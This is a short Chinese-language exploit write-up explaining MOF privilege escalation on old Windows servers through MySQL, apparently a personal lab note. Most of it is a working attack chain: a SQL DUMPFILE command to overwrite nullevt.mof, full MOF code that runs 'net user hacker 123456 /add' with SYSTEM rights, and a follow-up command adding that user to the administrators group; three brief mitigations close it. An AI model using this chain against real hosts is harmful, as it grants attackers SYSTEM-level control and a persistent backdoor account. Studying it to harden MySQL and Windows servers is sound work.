mof提權
原理
在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof這個文件會每間隔一段時間(很短暫)就會以system權限執行一次,所以,只要我們將想要的操作通過代碼存儲到這個mof文件中,就可以實現權限提升
利用條件
- 僅限windows 及適用於windows server2003及以下的版本
- mysql用戶具有root權限(對上面那個目錄可寫)
- 關閉了secure-file-priv
利用方式
拿下webshell之後當前權限僅限於對網站文件的操作,想要獲取對主機的操作還需進一步提權
使用sql語句,通過mysql的dumpfile操作將惡意mof文件拷貝到服務器的c:/windows/system32/wbem/mof/目錄下,將系統當中默認的nullevt.mof給替換掉,進而讓系統執行我們這個惡意的mof文件
select load_file('mof提權文件及路徑') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
mof提權代碼
nullevt.mof
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker 123456 /add\")";
//cmd以system權限執行的語句
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
再將執行命令net user hacker 123456 /add
換爲net localgroup administrators hacker /add
即可將hacker用戶添加至administrators管理員組
…
安全防範
(1) 對mysql目錄權限進行嚴格限制
(2) 設置複雜的root賬號密碼
(3) 設置c:/windows/system32/wbem目錄爲不可寫
GOT IT!
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~